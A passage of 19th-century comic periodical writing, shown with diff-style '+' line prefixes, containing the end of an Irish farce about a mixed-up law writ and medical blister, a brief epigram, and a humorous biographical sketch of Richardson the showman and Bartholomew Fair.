+in force against him for the monies in which he was indebted to him,
+he only awaited the arrival of Murtough Murphy from Dublin to execute
+his vengeance. Having settled this in his own mind, he became more
+contented, and said, with a self-satisfied nod of the head, "We'll see
+who's the _bladdher_."
+
+In a few days Murtough Murphy returned from Dublin, and to Merryvale he
+immediately proceeded. The squire opened to him directly his intention
+of commencing hostile law proceedings against O'Grady, and asked what
+most summary measures could be put in practice against him.
+
+"Oh! various, various, my dear squire," said Murphy; "but I don't see
+any great use in doing so _yet_,--he has not openly avowed himself."
+
+"But does he not intend to coalesce with the other party?"
+
+"I believe so;--that is, if he's to get the pension."
+
+"Well, and that's as good as done, you know; for if they want him, the
+pension is easily managed."
+
+"I'm not so sure of that."
+
+"Why, they're as plenty as blackberries."
+
+"Very true; but, you see, Lord Gobblestown swallows all the pensions
+for his own family; and there are a great many complaints in the market
+against him for plucking that blackberry-bush very bare indeed; and
+unless Sack Scatterbrain has swingeing interest, the pension may not be
+such an easy thing."
+
+"But still O'Grady has shown himself not my friend."
+
+"My dear squire, don't be so hot: he has not _shown_ himself yet----"
+
+"Well, but he means it."
+
+"My dear squire, you oughtn't to jump a conclusion like a twelve-foot
+drain or a five-bar gate."
+
+"Well, he's a blackguard."
+
+"No denying it; and therefore keep him on your side, if you can, or
+he'll be a troublesome customer on the other."
+
+"I'll keep no terms with him;--I'll slap at him directly. What can you
+do that's wickedest?--latitat, capias--fee-faw-fum, or whatever you call
+it?"
+
+"Hollo! squire, you're overrunning your game: maybe, after all, he
+_won't_ join the Scatterbrains, and----"
+
+"I tell you it's no matter; he intended doing it, and that's all the
+same. I'll slap at him,--I'll blister him!"
+
+Murtough Murphy wondered at this blind fury of the squire, who, being a
+good-humoured and good-natured fellow in general, puzzled the attorney
+the more by his present manifest malignity against O'Grady. But he had
+not seen the turn-over of the letter: he had not seen "_bladdher_,"--the
+real and secret cause of the "war to the knife" spirit which was kindled
+in the squire's breast.
+
+"Of course you can do what you please; but, if you'd take a friend's
+advice----"
+
+"I tell you I'll blister him."
+
+"He certainly _bled_ you very freely."
+
+"I'll blister him, I tell you, and that smart. Lose no time, Murphy, my
+boy: let loose the dogs of law on him, and harass him till he'd wish the
+d--l had him."
+
+"Just as you like; but----"
+
+"I'll have it my own way, I tell you; so say no more."
+
+"I'll commence against him at once then, as you wish it; but it's no
+use, for you know very well that it will be impossible to serve him."
+
+"Let me alone for that: I'll be bound I'll find fellows to get the
+inside of him."
+
+"Why, his house is barricaded like a jail, and he has dogs enough to
+bait all the bulls in the country."
+
+"No matter; just send me the blister for him, and I'll engage I'll stick
+it on him."
+
+"Very well, squire; you shall have the blister as soon as it can be got
+ready. I'll tell you whenever you may send over to me for it, and your
+messenger shall have it hot and warm for him. Good-b'ye, squire."
+
+"Good-b'ye, Murphy!--lose no time."
+
+"In the twinkling of a bed-post. Are you going to Tom Durfy's
+steeple-chase?"
+
+"I'm not sure."
+
+"I've a bet on it. Did you see the Widow Flanagan lately? You didn'?
+They say Tom's pushing it strong there. The widow has money, you know,
+and Tom does it all for the love o' God; for you know, squire, there are
+two things God hates,--a coward and a poor man. Now, Tom's no coward;
+and, that he may be sure of the love o' God on the other score, he's
+making up to the widow; and, as he's a slashing fellow, she's nothing
+loth, and, for fear of any one cutting him out, Tom keeps as sharp a
+look-out after her as she does after him. He's fierce on it, and looks
+pistols at any one that attempts putting his _comether_ on the widow,
+while she looks "as soon as you plaze," as plain as an optical lecture
+can enlighten the heart of man: in short, Tom's all ram's horns, and the
+widow all sheep's eyes. Good-b'ye, squire!" And Murtough put spurs to
+his horse and cantered down the avenue, singing.
+
+Andy was sent over to Murtough Murphy's for the law process at the
+appointed time; and, as he had to pass through the village, Mrs. Egan
+desired him to call at the apothecary's for some medicine that was
+prescribed for one of the children.
+
+"What'll I ax for, ma'am?"
+
+"I'd be sorry to trust to you, Andy, for remembering. Here's the
+prescription; take great care of it, and Mr. M'Grane will give you
+something to bring back; and mind, if it's a powder, don't let it get
+wet as you did the sugar the other day."
+
+"No, ma'am."
+
+"And if it's a bottle, don't break it as you did the last."
+
+"No, ma'am."
+
+"And make haste."
+
+"Yis, ma'am:" and off went Andy.
+
+In going through the village he forgot to leave the prescription at the
+apothecary's, and pushed on for the attorney's: there he saw Murtough
+Murphy, who handed him the law process, enclosed in a cover, with a note
+to the squire.
+
+"Have you been doing anything very clever lately, Andy?" said Murtough.
+
+"I don't know, sir," said Andy.
+
+"Did you shoot any one with soda-water since I saw you last?"
+
+Andy grinned.
+
+"Did you kill any more dogs lately, Andy?"
+
+"Faith, you're too hard on me, sir: sure I never killed but one dog, and
+that was an accident----"
+
+"An accident!--D--n your impudence, you thief! Do you think, if you
+killed one of the pack on purpose, we wouldn't cut the very heart out o'
+you with our hunting-whips?"
+
+"Faith, I wouldn't doubt you, sir: but, sure, how could I help that
+divil of a mare runnin' away wid me, and thramplin' the dogs?"
+
+"Why didn't you hold her, you thief?"
+
+"Hould her, indeed!--you just might as well expect to stop fire among
+flax as that one."
+
+"Well, be off with you now, Andy, and take care of what I gave you for
+the squire."
+
+"Oh, never fear, sir," said Andy, as he turned his horse's head
+homeward. He stopped at the apothecary's in the village to execute his
+commission for "misthis." On telling the son of Galen that he wanted
+some physic "for one o' the childre up at the big house," the dispenser
+of the healing art asked _what_ physic he wanted.
+
+"Faith, I dunna what physic."
+
+"What's the matter with the child?"
+
+"He's sick, sir."
+
+"I suppose so, indeed, or you wouldn't be sent for medicine.--You're
+always making some blunder. You come here, and don't know what
+description of medicine is wanted."
+
+"Don't I?" said Andy with a great air.
+
+"No you don't, you omadhaun!" said the apothecary.
+
+Andy fumbled in his pockets and could not lay hold of the paper his
+mistress entrusted him with until he had emptied them thoroughly of
+their contents upon the counter of the shop; and then taking the
+prescription from the collection, he said, "So you tell me I don't know
+the description of the physic I'm to get. Now, you see you're out; for
+_that's_ the _description_." And he slapped the counter impressively
+with his hand, as he threw down the recipe before the apothecary.
+
+While the medicine was in the course of preparation for Andy, he
+commenced restoring to his pockets the various parcels he had taken
+from them in hunting for the recipe, Now, it happened that he had laid
+them down close beside some articles that were compounded, and sealed
+up for going out, on the apothecary's counter; and as the law process
+which Andy had received from Murtough Murphy chanced to resemble in form
+another enclosure that lay beside it, containing a blister, Andy, under
+the influence of his peculiar genius, popped the blister into his pocket
+instead of the packet which had been confided to him by the attorney,
+and having obtained the necessary medicine from M'Grane, rode home with
+great self-complacency that he had not forgot to do a single thing that
+had been entrusted to him: "I'm all right this time," said Andy to
+himself.
+
+Scarcely had he left the apothecary's shop when another messenger
+alighted at its door, and asked "If Squire O'Grady's things was ready?"
+
+"There they are," said the innocent M'Grane, pointing to the bottles,
+boxes, and _blister_, he had made up and set aside, little dreaming that
+the blister had been exchanged for a law process; and Squire O'Grady's
+own messenger popped into his pocket the legal instrument, that it was
+as much as any seven men's lives were worth to bring within gun-shot of
+Neck-or-nothing Hall.
+
+Home he went, and the sound of the old gate creaking on its hinges
+at the entrance to the avenue awoke the deep-mouthed dogs around the
+house, who rushed infuriate to the spot to devour the unholy intruder
+on the peace and privacy of the patrician O'Grady; but they recognised
+the old grey hack and his rider, and quietly wagged their tails and
+trotted back, and licked their lips at the thoughts of the bailiff
+they had hoped to eat. The door of Neck-or-nothing Hall was carefully
+unbarred and unchained, and the nurse-tender was handed the parcel from
+the apothecary, and re-ascended to the sick-room with slippered foot as
+quietly as she could; for the renowned O'Grady was, according to her
+account, "as cross as two sticks;" and she protested, furthermore, "that
+her heart was grey with him."
+
+Mrs. O'Grady was near the bed of the sick man as the nurse-tender
+entered.
+
+"Here's the things for your honour now," said she in her most soothing
+tone.
+
+"I wish the d--l had you and them!" said O'Grady.
+
+"Gusty, dear!" said his wife. She might have said stormy instead of
+gusty.
+
+"Oh! they'll do you good, your honour," said the nurse-tender,
+curtsying, and uncorking bottles, and opening a pill-box.
+
+"Curse them all!" said the squire. "A pretty thing to have a gentleman's
+body made a perfect sink for these blackguard doctors and apothecaries
+to pour their dirty stuff into--faugh!"
+
+"Now, sir, dear, there's a little blisther just to go on your chest--if
+you plaze----"
+
+"A _what_!"
+
+"A warm plasther, dear."
+
+"A _blister_ you said, you old _divil_!"
+
+"Well, sure, it's something to relieve you."
+
+The squire gave a deep growl, and his wife put in the usual appeal of
+"Gusty, dear!"
+
+"Hold your tongue, will you? how would _you_ like it? I wish you had it
+on your----"
+
+"'Deed-an-deed, dear,--" said the nurse-tender.
+
+"By the 'ternal war! if you say another word, I'll throw the jug at you!"
+
+"And there's a nice dhrop o' gruel I have on the fire for you," said the
+nurse, pretending not to mind the rising anger of the squire, as she
+stirred the gruel with one hand, while with the other she marked herself
+with the sign of the cross, and said in a mumbling manner, "God presarve
+us! he's the most cantankerous Christian I ever kem across!"
+
+"Show me that infernal thing!" said the squire.
+
+"What thing, dear?"
+
+"You know well enough, you old hag!--that blackguard blister!"
+
+"Here it is, dear. Now, just open the brust o' your shirt, and let me
+put it an you."
+
+"Give it into my hand here, and let me see it."
+
+"Sartinly, sir;--but I think, if you'd let me just----"
+
+"Give it to me, I tell you!" said the squire, in a tone so fierce
+that the nurse paused in her unfolding of the packet, and handed it
+with fear and trembling to the already indignant O'Grady. But it is
+only imagination can figure the outrageous fury of the squire, when,
+on opening the envelope with his own hand, he beheld the law process
+before him. There, in the heart of his castle, with his bars, and bolts,
+and bull-dogs, and blunderbusses round him, he was served--absolutely
+served,--and he had no doubt the nurse-tender was bribed to betray him.
+
+A roar and a jump up in bed, first startled his wife into terror, and
+put the nurse on the defensive.
+
+"You infernal old strap!" shouted he, as he clutched up a handful of
+bottles on the table near him and flung them at the nurse, who was near
+the fire at the time; and she whipped the pot of gruel from the grate,
+and converted it into a means of defence against the phial-pelting storm.
+
+Mrs. O'Grady rolled herself up in the bed-curtains, while the nurse
+screeched "murther!" and at last, when O'Grady saw that bottles were of
+no avail, he scrambled out of bed, shouting, "Where's my blunderbuss?"
+and the nurse-tender, while he endeavoured to get it down from the rack,
+where it was suspended over the mantelpiece, bolted out of the door,
+which she locked on the outside, and ran to the most remote corner of
+the house for shelter.
+
+In the mean time, how fared it at Merryvale? Andy returned with his
+parcel for the squire, and his note from Murtough Murphy, which ran thus:
+
+               "MY DEAR SQUIRE.--I send you the
+            _blister_ for O'Grady, as you insist on it; but I think
+            you won't find it easy to serve him with it. "Your
+            obedient and obliged, "MURTOUGH MURPHY." "_To Edward
+            Egan, Esq. Merryvale._"
+
+The squire opened the cover, and when he saw a real instead of a
+figurative blister, grew crimson with rage. He could not speak for some
+minutes, his indignation was so excessive. "So!" said he, at last, "Mr.
+Murtough Murphy--you think to cut your jokes with me, do you? By all
+that's sacred! I'll cut such a joke on you with the biggest horsewhip
+I can find, that you'll remember it. '_Dear squire, I send you the
+blister._' Bad luck to your impidence! Wait till awhile ago--that's all.
+By this and that, you'll get such a blistering from me that all the
+spermaceti in M'Grane's shop won't cure you."
+
+
+
+
+               TO A LYRIC AND ARTIST.
+
+            (_Which we received from a Correspondent, and could not
+               possibly insert in a more appropriate place than this._)
+
+    No wonder that Painters are "drawing long faces,"
+      And Poets write badly, the while they discover
+    How truly the Muses, how fondly the Graces,
+      Receive the addresses of one little LOVER.
+
+
+
+
+        BIOGRAPHICAL SKETCH OF RICHARDSON, THE SHOWMAN.
+            _With a Peep at Bartholomew Fair._
+
+        BY THE AUTHOR OF FISHER'S NATIONAL PORTRAIT GALLERY.
+                  _Seventeenth Edition, 4to._
+
+In a periodical like the present, a contributor, if he really have
+anything in him, ought to set off at score. Such is my determination.
+
+Works of the sort can only be produced by the exhibition of three rare
+qualities, namely, Wit, Humour, and entertaining Fiction. The first has
+been compared to a razor, which "cuts the most when exquisitely keen;"
+the second I will venture to liken to a table-knife, which slashes away
+at all on the board, and the best when broadly shining and tolerably
+sharp in the edge; and the last is familiar enough to everybody, under
+the term of "throwing the hatchet." But whatever the instrument, be it
+razor, or knife, or axe, it is quite essential that it should never lose
+its temper.
+
+    Mais l'audace est commune, et le bon sens est rare;
+    Au lieu d'être piquant, souvent on est bizarre:
+
+which, being freely translated, means,
+
+    In life there's so much impudence,
+    And very little common sense,
+    That writers trying to be witty,
+    Are only foolish: more's the pity!
+
+"The Showman,"--for so was this eminent individual designated by the
+world at large, and so upon memorable occasions he called himself;--was,
+it will be felt, a title of high distinction. When we look around
+us, and see how many men are playing showmen, and how miserably they
+succeed, we shall at once be convinced that nothing but very superior
+merit could have won for Richardson the glory of the definite "the."
+_He_ was not showing off himself, but others: he was nor showing off
+his own follies, but the follies of society. Thus, instead of being a
+laughing-stock, he laughed in his own sleeve; and by keeping a fool,
+instead of making a fool of himself, he eschewed poverty, and ultimately
+died in the odour and sanctity of wealth.
+
+Richardson originated at _Great_ Marlow, in the county of Bucks; the
+very name of the place seeming to intimate that he was born to achieve
+greatness. Whether he was lineally descended from the author of Clarissa
+Harlowe is, and will long continue to be, a disputed fact. There was a
+family resemblance between them; both were country gentlemen, and both
+wore top-boots.
+
+For breeding, Mr. Richardson was indebted to the parish workhouse,--fair
+promise of his future industry. In those days the poor laws had not been
+amended; and children, being victualled satisfactorily, generally throve
+accordingly. Under correction be it spoken, workhouses in country towns
+were then far from being houses of correction. So our hero grew up.
+
+When big enough, he acquitted himself with reputation in the employment
+of out o' door activity; for he never resembled the lazy fellow reduced
+by idleness to want, who said in excuse, "When they bid me go to the ant
+to learn wisdom, I am almost always going to my uncle's."
+
+From Marlow, after due probation, young Richardson, it is stated,
+sought his fortune in the metropolis, and entered into the service of
+Mr. Rhodes, a huge cow-keeper--a colossus in the milky way. Here it
+is probable he acquired a taste for pastorals, and that extraordinary
+proficiency in the Welsh language which rendered his dialogue in
+after-times so strikingly rich and Celto-Doric. Some etymologists thence
+infer that it was _Pick't_; but we don't believe it.
+
+We never read the life of an actor or actress without being told, about
+the period of Richardson's career at which we have now arrived, that the
+"ruling passion" took such strong possession of them, that they must
+break all bounds, run away, and join some strolling company, to "imp
+their wings," or some flight of that sort. So it happened with our hero:
+he cut the cows, and hastened to adhere to Mrs. Penley, then performing
+with unprecedented success in a club-room at Shadwell, a small town in
+the vicinity of Wapping. The houses were crowded; receipts to the full
+amount of five shillings nightly crowned their efforts, and the corps,
+consisting of two gentlemen and two ladies, divided the five among
+four, playing as it were all fours in a fives court. Encouraged by this
+success, Richardson resolved to extend his fame, and accordingly visited
+many parts of the provinces, starring it from the Shadwell boards.
+Mighty as must have been his deserts, he met with no Bath manager, no
+Tate Wilkinson, no Macready or Kemble, to appreciate his histrionic
+talents. One night, having accidentally witnessed a representation of
+the School for Scandal, he fancied he could play the little broker; so
+he returned to London, and took a small shop in that line of business.
+About the year ninety-six, he was enabled to rent the Harlequin, a
+public-house near the stage-door of old Drury, and much frequented by
+dramatic wights. It was of one of these that Richardson used to tell his
+most elaborate pun. Being asked if he did anything in the dramatic line,
+he answered, "I do more or less in it in every way: I do what I can in
+the first syllable, _dram_, and in the first two syllables, _drama_; in
+the last two syllables, _attic_, I am to be seen every night; and in the
+last, _tick_--m' eye! I wish you knew my exertions."
+
+It was not to be expected that the Harlequin could last long without a
+change; for not only was the sign contrariwise thereto, but the place
+itself was a change-house. Our landlord therefore let it; and crying
+"Damned be he that lets me!" bought a caravan, engaged a company from
+among his customers, and opened his first booth at Bartholomew Fair.
+But the name of this famed annual assemblage--now, alas! in a deep
+decline--is enough to tempt a scribbler for hire to branch off into an
+episode. And here it is.
+
+Proclaimed on the 3rd of September, to last during three lawful days,
+exclusive of the day of proclamation, "Bartholomew Faire," as appears
+from a pamphlet under that title, printed for Richard Harper, at the
+Bible and Harpe, in Smithfield, A. D. 1641, began on the 24th of August,
+old style. About the year 1102, in the reign of Henry the First, Rahere,
+a minstrel of the king, founded the priory, hospital, and church of
+St. Bartholomew, in Smithfield, as requested by the saint himself in a
+dream, and, it is presumed, upon a bed where the dreamer could guess
+what it was to be flea'd alive. Rahere was the first prior, and in his
+time there was a grand row with Boniface, Archbishop of Canterbury,
+on a visitation, when sundry skulls of canons, monks, and friars were
+cracked, which probably suggested that the site would be very eligible
+for an annual fair. Henry the Second accordingly granted that privilege
+to the clothiers of England and the drapers of _London_; and his charter
+to the mayor and aldermen is extant to this day. Theretofore called
+"The Elms," from the noble trees which adorned it, Smithfield became in
+turn a place for splendid jousts, tournaments, pageants, and feats of
+chivalry; a market for cattle and hay; a scene of cruel executions; and
+one where, as old Stow acquaints us, loose serving-men and quarrelsome
+persons resorted and made uproars, thus becoming the rendezvous of
+bullies and bravoes, till it earned the appropriate name of "Ruffians'
+Hall." King Solomon, _alias_ Jacobus Primus, caused it to be paved
+two hundred and twenty years agone, which we have on the authority of
+Master Arthur Strange-ways, whose statement leads us to infer that the
+Lord Mayor of 1614 had never opened a railroad, like Lord Mayor Kelly
+in 1886. Then and there our ancient civic magnates were wont to disport
+themselves with witnessing "wrastlings," shooting the broad arrow and
+flights for games, and hunting real wild rabbits by the city boys, with
+great noise and laughter.
+
+Posterior to the priors, and superior to the sub-priors of St.
+Bartholomew, the canons have been succeeded by common guns; and the
+friars by fried pigs, the most renowned viand of the festival;[48] the
+monks have given place to monkeys, and the recluses to showmen. Such
+are the mute abilities of Father Time. "The severall enormityes and
+misdemeanours, which are there seene and acted," are they not upon
+record? "Hither resort (says Master Harper, 1641) people of all sorts,
+high and low, rich and poore, from cities, townes, and countrys; of
+all sects, Papists, Atheists, Anabaptists, and Brownists; and of all
+conditions, knaves and fooles, cuckolds and cuckoldmakers, pimpes and
+panders, rogues and rascalls, the little loud-one and the witty wanton.
+The faire is full of gold and silver drawers: just as Lent is to the
+fishmonger, so is Bartholomew Faire to the pick-pocket. It is his high
+harvest, which is never bad but when his cart goes up Holborne. Some of
+your cut-purses are in fee with cheating costermongers. They have many
+dainty baits to draw a bit; fine fowlers they are, for every finger
+of theirs is a lime-twigge with which they catch dotterels. They are
+excellently well read in physiognomy, for they will know how strong you
+are in the purse by looking in your face; and, for the more certainty
+thereof, they will follow you close, and never leave you till you draw
+your purse, or they for you, though they kisse Newgate for it."
+
+[48] Besides the fried pigs were other most famous delicacies, which to
+this day are not quite obsolete. There were called _sasserges_.--ED.
+
+Hone, in his Every-day Book (Part X.), furnished an excellent view of
+this fair, full of curious dramatic and other matter. He describes the
+shows of 1825, among which, _àpropos_, Richardson's theatre figures
+prominently. The outside, he tells us, was above thirty feet in height,
+and occupied one platform one hundred feet in width. The platform was
+very elevated, the back of it lined with green baize, and festooned
+with deeply-fringed crimson curtains, except at two places where the
+money-takers sat, in roomy projections fitted up like Gothic shrinework,
+with columns and pinnacles. There were fifteen-hundred variegated
+illumination-lamps, in chandeliers, lustres, wreaths, and festoons.
+A band of ten musicians in scarlet dresses, similar to those worn by
+his Majesty's Beefeaters, continually played on various instruments;
+while the performers paraded in their gayest "properties" before the
+gazing multitude. Audiences rapidly ascended on each performance
+being over; and, paying their money to the receivers in their Gothic
+seats, had tickets in return, which, being taken at the doors,
+admitted them to descend into the "theatre." The performances were
+the Wandering Outlaw, a melodrama, with the death of the villain and
+appearance of the accusing spirit;--a comic harlequinade, Harlequin
+Faustus;--and concluding with a splendid panorama, painted by the first
+artists.--Boxes, two shillings; pit, one shilling; and gallery, sixpence.
+
+The theatre held nearly a thousand people, continually emptying and
+filling, and the performances were got over in about a quarter of an
+hour! And, though anticipating a little of our personal narrative, we
+may as well mention here, that occasionally, when the outside platform
+was crowded with impatient spectators waiting for their turn to be
+admitted, though the performances had not lasted more than five minutes,
+Mr. Richardson would send in to inquire if _John Over-y_ was there,
+which was the well-known signal to finish off-hand, strike the gong,
+turn out the one audience, and turn in their successors, to see as much
+of the Outlaw, the Devil, or Dr. Faustus, as time permitted.
+
+Ben Johnson's play of Bartholomew Fair in 1614 explains many of its
+ancient humours, and particularly the eating of Bartholomew pig, already
+noticed, and not to be repeated, as we desire to pen something more to
+the purpose in Smithfield than a dry antiquarian essay, though it relate
+to hares playing on the tabor, or tigers taught to pluck chickens. In
+the latter way a ballad of 1655 may suffice.
+
+    In 55, may I never thrive
+      If I tell ye any more than is true,--
+    To London she came, hearing of the fame
+      Of a fair they call Bartholomew.
+
+    In houses of boards men walk upon cords,
+      As easy as squirrels crack filberds;
+    But the cut-purses they do bite, and rub away,
+      But those we suppose to be ill birds.
+
+    For a penny you may see a fine puppet play,
+      And for twopence a rare piece of art;
+    And a penny a cann, I dare swear a man
+      May put zix of 'em into a quart.
+
+    Their zights be so rich, is able to bewitch
+      The heart of a very fine man-a;
+    Here's Patient Grizel here, and Fair Rosamond there,
+      And the history of Susanna.
+
+    At Pye-corner end, mark well, my good friend,
+      'Tis a very fine dirty place;
+    Where there's more arrows and bows, the Lord above knows,
+      Than was handled at Chevy Chase.
+
+    Then at Smithfield Bars, betwixt the ground and the stars,
+      There's a place they call Shoemaker's-Row,
+    Where that you may buy shoes every day,
+      Or go barefoot all the year, I tro.
+
+In 1715 the largest booth ever erected was in the centre of Smithfield,
+"for the King's Players;" and, in later times, we read of Garrick going
+to see the pieces at Yates' and Shuter's booth. Hogarth in his youth
+painted scenes for a famous woman who kept a droll in the fair; and
+the old lady refused to pay because Dutch metal was used instead of
+real gilding with leaf-gold. Pidcock and Polito exhibited their finest
+animals; Astley his troop of horse, succeeded by Saunders. Puppet-shows,
+or motions, as they were called, were also always popular here; and
+giants, dwarfs, and whatever was singular in nature, or could be made
+to seem so by art, have from time immemorial been the wonders and
+favourites of Bartholomew Fair.
+
+Having now brought "_the_ Showman" to the management of what he might
+have designated the National Theatre, with the long-established Jonases,
+Penleys, Jobsons, _et hoc genus omne_ as his rivals,--the commencement
+of a career of half a century's duration,--may we not pause to point
+towards him the finger of admiration? What are the lessees of Drury
+Lane or Covent Garden when compared to him? What have they done, or
+what are they likely to do, for the legitimate drama, when compared
+to him? He was a manager who paid his performers weekly on the nail;
+meaning by "the nail" the drum-head. On the Saturday evening, assembling
+them all, willing and buoyant, around him, he spread the sum total of
+their salaries upon the drum,--not double base, like the frauds of
+modern managers,--and then there was a roll-call of the most agreeable
+description. Sometimes the merry vagabonds would shove one another up
+against their paymaster; but the worst of his resentment was to detect
+the _larker_, if he could, and pay him last; or, if sorely annoyed,
+forget to invite him to the following supper: punishments severe,
+it must be acknowledged; but still the sufferers had their money to
+comfort themselves withal, and were not obliged to wait, like the waits
+in the streets at midnight, till after Christmas for the chance of
+their hard-earned wages. And he was grateful, too. When marked success
+attended any performer or performance, a marked requital was sure to
+follow. The Spotted Boy was a fortune to him, though not all so black as
+Jim Crow; and his affection grew with his growth. His portrait adorned
+the Tusculum of the Showman; and, after his death, he could not withdraw
+the green silk curtain from it without shedding tears. Had that boy
+lived to be a man, there is no doubt but Richardson would have made him
+independent of all the dark specks on life's horizon. As it was, he was
+treated as by a father like a spotless boy, and buried in the catacombs
+of the race of Richardson.
+
+Next to the Spotted Boy, the performer whom Richardson most boasted of
+having belonged to his company was Edmund Kean. He, with Mrs. Carey,
+_quasi_ mamma, and Henry, _quasi_ brother, were engaged by our spirited
+manager; and Kean, over his cups, used to brag of having, by tumbling in
+front of the booth, tumbled hundreds of bumpkins in to the spectacles
+within. He did Tom Thumb as tiny Booth does now at the St. James's
+Theatre; and at a later period, viz. 1806, is stated to have played
+Norval, and Motley in the Castle Spectre, for him at Battersea fair.
+Another story adds, that he was called on to recite his Tom-Thumbery
+before George the Third at Windsor; but we will not vouch for the truth
+of the newspaper anecdote.
+
+From the metropolitan glory of Bartholomew Fair, the transition to
+the principal fairs of the kingdom was obvious. Mr. Richardson went
+the whole hog, and, in so doing, had nearly gone to the dogs. At that
+revolutionary period, neither the fairs nor the affairs of the country
+were in a wholesome condition. Politics are ever adverse to amusements.
+Vain was the attempt to beguile the snobbery of their pence; and our
+poor caravan, like one in the deserts of the Stony Araby, toiled on
+their weary march with full hearts and empty stomachs. At length it is
+told, at Cambridge Fair,--well might it be called by its less euphonous
+name of Stirbitch, so badly did the speculation pay,--that Richardson
+and his clown, Tom Jefferies, of facetious memory, were compelled to
+take a sort of French leave for London, leaving much of their _materiel_
+in pawn. Undamped by adversity, they took a fiddler with them; and the
+merry trio so enamoured the dwellers and wayfarers upon the road, that
+they not only extracted plentiful supplies for themselves, but were
+enabled to provide sufficiently for the bodily wants of the main body of
+the company, who followed at a judicious and respectable distance.
+
+The pressure from without was, however, luckily but of temporary
+endurance; and Richardson was soon well to do again in the world. Fair
+succeeded fair, and he succeeded with all. His enterprise was great, and
+his gains commensurate. He rose by degrees, and at length became the
+most renowned of dramatic caterers for those classes who are prone to
+enjoy the unadulterated drama. Why, his mere outside by-play was worth
+fifty times more than the inside of large houses, to witness such trash
+as has lately usurped the stage, and pushed Tragedy from her throne, and
+Comedy from her stool. Of these memorabilia we can call to mind only a
+few instances; but they speak volumes for the powers of entertaining
+possessed by our hero.
+
+It was at Peckham one day,--and a day of rain and mud,--when Richardson,
+stepping from the steps of his booth, as Moncey, the king of the
+beggars, was shovelling past on _his boards_, happened to slip and fall.
+We shall not readily forget the good-humour with which he looked, not
+up, but level, upon his companion, and sweetly said, "'Faith! friend, it
+seems that neither you nor I can keep our feet."
+
+At Brook Green, as the fair and happy were crushing up to the pay-door,
+a pretty servant-girl was among the number. "I should like to _hire_
+that girl," said a dandy to his comrade. "I rather guess you would like
+to _lower_ her," whispered Mr. R. in his ear. But she was a good lass,
+and not at all like the French gentleman's maid, to whom her master
+uttered these humiliating words: "Bah! you arre a verry bad girl, and I
+shall make you _no_ better."
+
+Mr. R. misliked drunkenness in his troop. "A fellow," he exclaimed to
+one he was rating for this vice,--"a fellow who gets tipsy every night
+will never be _a rising man_ in any profession."
+
+In a remote village some accident had destroyed a grotto necessary to
+the representation of the piece entitled "The Nymphs of the Grotto."
+What was to be done? There was no machinist within a hundred miles! "Is
+there not an _undertaker_?" exclaimed Mr. R.: "he could surely execute a
+little shell-work!"
+
+In an adjoining booth at Camberwell was exhibited a very old man, whom
+the placards declared to have reached _a hundred and five years of age_.
+"Here is a pretty thing to make a show of," observed R. "A wonder,
+indeed! Why, if my grandfather had not died, he would have been _a
+hundred and twenty_!"
+
+But why should we dwell on his facetiæ? Only to point the poignant grief
+which tells us we shall never hear them more,--shall never look upon his
+like again! Yes: let others mourn their Prichards, their Garricks, their
+Kembles, and their Keans;--our _keen_ is for thee, John Richardson, the
+undisputed head of thy profession, the master-spirit of them all, the
+glory of the mighty multitude,
+
+          "Where thou wert fairest of the _Fair_."
+
+And how liberal thou wert! Thou wert not a manager to debar from their
+just privileges thy dramatic brethren, or insult the literary characters
+who honourably patronised thy honourable endeavours. Thy "Walk up!" was
+open and generous. When Jack Reeve and a party from the Adelphi visited
+the splendid booth at Bartholomew Fair, the veteran recognised his
+brethren of the buskin, and immediately returned to them the money they
+had paid on entrance, disdaining to pocket the hard-earned fruits of the
+stage. "You, or any other actor of talent," said the old man, "are quite
+welcome to visit my theatre free of expense." "No, no," replied Reeve,
+"keep it, or (noticing a dissenting shake of the head) give it to the
+poor." "If I have made a mistake," retorted John, "and have not done so
+_already_, give it to them yourself; I will have nothing to do with it,
+and I am not going to turn parish overseer."
+
+At length, alas! his days--his fair days--were numbered, and, as the
+song says, "the good old man must die." As his first, so was his last
+exhibition at Smithfield; but Smithfield, like the other national
+theatres, shorn of its splendour, degenerate, and degraded. It seemed
+as if the last of the fairs: others had been abolished and put down;
+and this, the topmost of them all, was sinking under the march of
+intellect, the diffusion of knowledge, and the confusion of reform.
+Fairs in Britain were ended, and it was not worth Richardson's while
+to live any longer. He retired, tired and dejected, to his "Woodland
+Cottage" in Horsemonger-lane; and on the morning of the 14th of November
+was expected by the Angel of Death. His finale was serene: his life
+had been strange and varied, but industrious and frugal. The last time
+we saw him,--and it was to engage him on his last loyal and public
+patriotic work, namely, to erect the scaffolding for the inauguration
+of the statue of George III. in Cockspur-street,--he approached us with
+a fine cabbage under his arm, which he had been purchasing for dinner.
+His manners, too, were equally simple and unaffected;--he was the
+Cincinnatus of his order. He told us of the satisfaction he had given
+to George IV. by transporting the giraffe in a beautiful caravan to
+Windsor Park. The caravan was Richardson's world; and he might well have
+applied to that vehicle the eastern apologue, "the place which changes
+its occupants so often is not a palace, but a 'caravan'-serai." But we
+are giving way to sorrow, though "away with melancholy" is our motto. A
+wide-mouthed musician--we forget whether clarionet or trombone--applied
+to Richardson at Easter for an engagement at Greenwich fair: "You won't
+do any thing till Christmas," said he: "you must wait, as you are only
+fit for a Wait: you are one to play from ear to ear."
+
+It is said that Richardson died rich; and indeed the sale of his effects
+by auction showed that if other persons were men of property, he was a
+man of properties. Three hundred and thirty-four lots of multitudinous
+composition were submitted to the hammer; and it was truly a jubilee to
+see how the Jews did outbid each other. There were Nathan, and Hart,
+and Clarke, and Levy, besides an inferior and dirtier lot, who got
+velvets, and silks, and satins, for the old song, "Old Clo'!" Though
+their late owner, in the heyday of his prime, observed, "I have to show
+my dresses by daylight, and they must be first-rate; anything will do
+for the large theatres in the night-time, either green-baize, or tin, or
+dog-skins for ermine;" yet their prices were by no means considerable.
+Two Lear's dresses, two Dutch and one Jew's ditto, sold for thirty-five
+shillings; one spangled Harlequin's dress, one clown's, one magician's,
+and pantaloon's, came to one pound eleven shillings and sixpence; five
+priests' and a cardinal's dress, and the next lot, six robbers' dresses
+and a cardinal's dress, went very low; and six satyrs' dresses were
+absolutely given away. A large scene waggon brought fourteen pounds, and
+a ditto scene carriage only eight pounds. Then there were sundries of
+curious character in the catalogue:
+
+Ten common w_h_igs, trick-bottle, and trick-box (probably what Stanley
+called the thimble-rig).
+
+A trick-sword, a coffin and pall: tomb of _Capulate_.
+
+_The_ old oak chest, with skeleton and two inscriptions (a very superior
+property).
+
+A spangled woman's dress, white gown, &c. complete.
+
+Two handsome spangled women's dresses, with caps, complete.
+
+Five chintz women's dresses, two bow [qy. beau?] strings and scarf,
